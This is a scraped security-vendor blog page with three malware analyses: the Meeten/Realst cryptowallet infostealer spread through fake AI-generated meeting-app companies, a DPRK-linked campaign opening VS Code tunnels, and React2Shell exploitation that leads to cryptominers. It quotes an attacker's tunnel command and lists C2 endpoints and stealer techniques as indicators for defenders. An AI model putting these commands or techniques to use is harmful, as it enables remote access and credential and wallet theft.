June 12, 2024

Meeten Malware: A Cross-Platform Threat to Crypto Wallets on macOS and Windows

Cado Security Labs (now part of Darktrace) identified a "Meeten" campaign deploying a cross-platform (macOS/Windows) infostealer called Realst. Threat actors create fake Web3 companies with AI-generated content and social media to trick targets into downloading malicious meeting applications.

Written by

Tara Gould

Malware Research Lead

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Tara Gould

Malware Research Lead

Jun 2024

Introduction: Meeten malware

Researchers from Cado Security Labs (now part of Darktrace) have identified a new sophisticated scam targeting people who work in Web3. The campaign includes cryptostealer Realst that has both macOS and Windows variants, and has been active for around four months. Research shows that the threat actors behind the malware have set up fake companies using AI to make them increase legitimacy. The company, which is currently going by the name “Meetio”, has cycled through various names over the past few months. In order to appear as a legitimate company, the threat actors created a website with AI-generated content, along with social media accounts. The company reaches out to targets to set up a video call, prompting the user to download the meeting application from the website, which is Realst info stealer. 

Meeten

Screenshot of fake company homepage — Figure 1: Fake company homepage

“Meeten” is the application that is attempting to scam users into downloading an information stealer. The company regularly changes names, and has also gone by Clusee[.]com, Cuesee, Meeten[.]gg, Meeten[.]us, Meetone[.]gg and is currently going by the name Meetio. In order to gain credibility, the threat actors set up full company websites, with AI-generated blog and product content and social media accounts including Twitter and Medium.

Based on public reports from targets (withheld from this post for privacy), the scam is conducted in multiple ways. In one reported instance, a user was contacted on Telegram by someone they knew who wanted to discuss a business opportunity and to schedule a call. However, the Telegram account was created to impersonate a contact of the target. Even more interestingly, the scammer sent an investment presentation from the target’s company to him, indicating a sophisticated and targeted scam. Other reports of targeted users report being on calls related to Web3 work, downloading the software and having their cryptocurrency stolen.

After initial contact, the target would be directed to the Meeten website to download the product. In addition to hosting information stealers, the Meeten websites contain Javascript to steal cryptocurrency that is stored in web browsers, even before installing any malware. 

Technical analysis

macOS version

Name: CallCSSetup.pkg

Meeten downloads page — Figure 3: Downloads page on Meeten

Once the victim is directed to the “Meeten” website, the downloads page offers macOS or Windows/Linux. In this iteration of the website, all download links lead to the macOS version. The package file contains a 64-bit binary named “fastquery”, however other versions of the malware are distributed as a DMG with a multi-arch binary. The binary is written in Rust, with the main functionality being information stealing. 

When opened, two error messages appear. The first one states “Cannot connect to the server. Please reinstall or use a VPN.” with a continue button. Osascript, the macOS command-line tool for running AppleScript and JavaScript is used to prompt the user for their password, as commonly seen in macOS malware. [1]

Pop up — Figure 4: Popup that requests users password

The malware iterates through various data stores, grabs sensitive information, creates a folder where the data is stored, and then exfiltrates the data as a zip. 

‍

Figure 6: Folders and files created by Meeten

Realst Stealer looks for and exfiltrates if available:

Telegram credentials
Banking card details
Keychain credentials
Browser cookies and autofill credentials from Google Chrome, Opera, Brave, Microsoft Edge, Arc, CocCoc and Vivaldi
Ledger Wallets
Trezor Wallets

The data is sent to 139[.]162[.]179.170:8080/new_analytics with “log_id”, “anal_data” and “archive”. This contains the zip data to be exfiltrated along with analytics that include build name, build version, with system information. 

Figure 7: System information that is sent as a log

Build information is also sent to 139[.]162[.]179.170:8080/opened along with metrics sent to /metrics. Following the data exfiltration, the created temporary directories are removed from the system. 

Windows version

Name: MeetenApp.exe

Meeten Setup Install — Figure 8: Meeten Setup install

While analyzing the macOS version of Meeten, Cado Security Labs identified a Windows version of the malware. The binary, “MeetenApp.exe” is a Nullsoft Scriptable Installer System (NSIS) file, with a legitimate signature from “Brys Software” that has likely been stolen.

Digital signature details — Figure 9: Digital Signature of Meeten

After extracting the files from the installer, there are two folders $PLUGINDIR and $R0. Inside $PLUGINDIR is a 7zip archive named “app-64” that contains resources, assets, binaries and an app.asar file, indicating this is an Electron application. Electron applications are built on the Electron framework that is used to develop cross-platform desktop applications with web languages such as Javascript. App.asar files are used by Electron runtime, and is a virtual file system containing application code, assets, and dependencies.

File structure — Figure 10: Electron application meeten structure

Meeten's app .asar file — Figure 11: Structure of Meeten's App.asar file

After extracting the contents of app.asar, we can see the main script points to index.js containing:

"use strict"; 
require("./bytecode-loader.cjs"); 
require("./index.jsc");

Both of these are Bytenode Compiled Javascript files. Bytenode is a tool that compiles JavaScript code into V8 bytecode, allowing the execution of JavaScript without exposing the source code. The bytecode is a low-level representation of the JavaScript code that can be executed by the V8 JavaScript engine which powers Node.js. Since the Javascript is compiled, reverse engineering of the files is more difficult, and less likely to be detected by security tools. 

While the file is compiled, there is still some information we can see as plain text. Similarly to the macOS version, a log with system information is sent to a remote server. A secondary password protected archive , “AdditionalFilesForMeet.zip” is retrieved from deliverynetwork[.]observer into a temporary directory “temp03241242”.

From AdditionalFilesForMeet.zip is a binary named “MicrosoftRuntimeComponentsX86.exe” This binary gathers system information including HWID, geo IP, hostname, OS, users, cores, RAM, disk size and running processes. 

Exfiltrated system information — Figure 14: System information exfiltrated by Meeten

This data is sent to 172[.]104.133.212/opened, along with the build version of Meeten. 

An additional payload is retrieved “UpdateMC.zip” from “deliverynetwork[.]observer/qfast” into AppData/Local/Temp. The archive file extracts to UpdateMC.exe. 

UpdateMC

UpdateMC.exe is a Rust-based binary, with similar functionality to the macOS version. The stealer searches in various data stores to collect and exfiltrate sensitive data as a zip. Meeten has the ability to steal data from:

Telegram credentials
Banking card details
Browser cookies, history and autofill credentials from Google Chrome, Opera, Brave, Microsoft Edge, Arc, CocCoc and Vivaldi
Ledger Wallets
Trezor Wallets
Phantom Wallets
Binance Wallets

The data is stored inside a folder named after the users’ HWID inside AppData/Local/Temp directory before being exfiltrated to 172[.]104.133.212. 

For persistence, a registry key is added to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to ensure that the stealer is run each time the machine is started. 

Key takeaways 

This blog highlights a sophisticated campaign that uses AI to social engineer victims into downloading low detected malware that has the ability to steal financial information. Although the use of malicious Electron applications is relatively new, there has been an increase of threat actors creating malware with Electron applications. [2] As Electron apps become increasingly common, users must remain vigilant by verifying sources, implementing strict security practices, and monitoring for suspicious activity.

While much of the recent focus has been on the potential of AI to create malware, threat actors are increasingly using AI to generate content for their campaigns. Using AI enables threat actors to quickly create realistic website content that adds legitimacy to their scams, and makes it more difficult to detect suspicious websites. This shift shows how AI can be used as a powerful tool in social engineering. As a result, users need to exercise caution when being approached about business opportunities, especially through Telegram. Even if the contact appears to be an existing contact, it is important to verify the account and always be diligent when opening links. 

Indicators of compromise (IoCs)

http://172[.]104.133.212:8880/new_analytics

http://172[.]104.133.212:8880/opened

http://172[.]104.133.212:8880/metrics

http://172[.]104.133.212:8880/sede

139[.]162[.]179.170:8080

deliverynetwork[.]observer/qfast/UpdateMC.zip

deliverynetwork[.]observer/qfast/AdditionalFilesForMeet.zip

www[.]meeten.us

www[.]meetio.one

www[.]meetone.gg

www[.]clusee.com

199[.]247.4.86

File / md5

CallCSSetup.pkg 9b2d4837572fb53663fffece9415ec5a

Meeten.exe 6a925b71afa41d72e4a7d01034e8501b

UpdateMC.exe 209af36bb119a5e070bad479d73498f7

MicrosoftRuntimeComponentsX64.exe d74a885545ec5c0143a172047094ed59

CluseeApp.pkg 09b7650d8b4a6d8c8fbb855d6626e25d

MITRE ATT&CK

Technique name / ID

T1204 User Execution

T1555.001 Credentials From Password Stores: Keychain

T1555.003 Credentials From Password Stores: Credentials from Web Browsers

T1539 Steal Web Session Cookie

T1217 Browser Information Discovery

T1082 System Information Discovery

T1016 System Network Configuration Discovery

T1033 System Owner/User Discovery

T1005 Data from Local System

T1074 Local Data Staging

T1071.001 Application Layer Protocol: Web Protocols

T1041 Exfiltration Over C2 Channel

T1657 Financial Theft

T1070.004 File Deletion

T1553.001 Subvert Trust Controls: Gatekeeper Bypass

T1553.002 Subvert Trust Controls: Code Signing

T1547.001 Boot or Logon Autostart Execution: Registry Run Folder

T1497.001 Virtualization/Sandbox Evasion: System Checks

T1058.001 Command and Scripting Interpreter: Powershell

T1016 Network Configuration Discovery

T1007 System Service Discovery

References

Written by

Tara Gould

Malware Research Lead

Inside the SOC

Written by

Tara Gould

Malware Research Lead

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

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Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

Cloud

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Check out this article by Darktrace: Meeten Malware: A Cross-Platform Threat to Crypto Wallets on macOS and Windows

Meeten Malware: A Cross-Platform Threat to Crypto Wallets on macOS and Windows

Introduction: Meeten malware

Meeten

Technical analysis

macOS version

Name: CallCSSetup.pkg

Windows version

Name: MeetenApp.exe

UpdateMC

Key takeaways

Indicators of compromise (IoCs)

File / md5

MITRE ATT&CK

Technique name / ID

References

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

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More in this series

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Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

Securing Generative AI: Managing Risk in Amazon Bedrock with Darktrace / CLOUD

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References

Blog

Cloud

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Cloud insights

Cloud Case Study

Initial Access

Payload execution

Command-and-Control (C2)

Cryptominers deployment and re-exploitation

Financial sector spotlight

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Appendices

Name: CallCSSetup.pkg

Name: MeetenApp.exe

Key takeaways 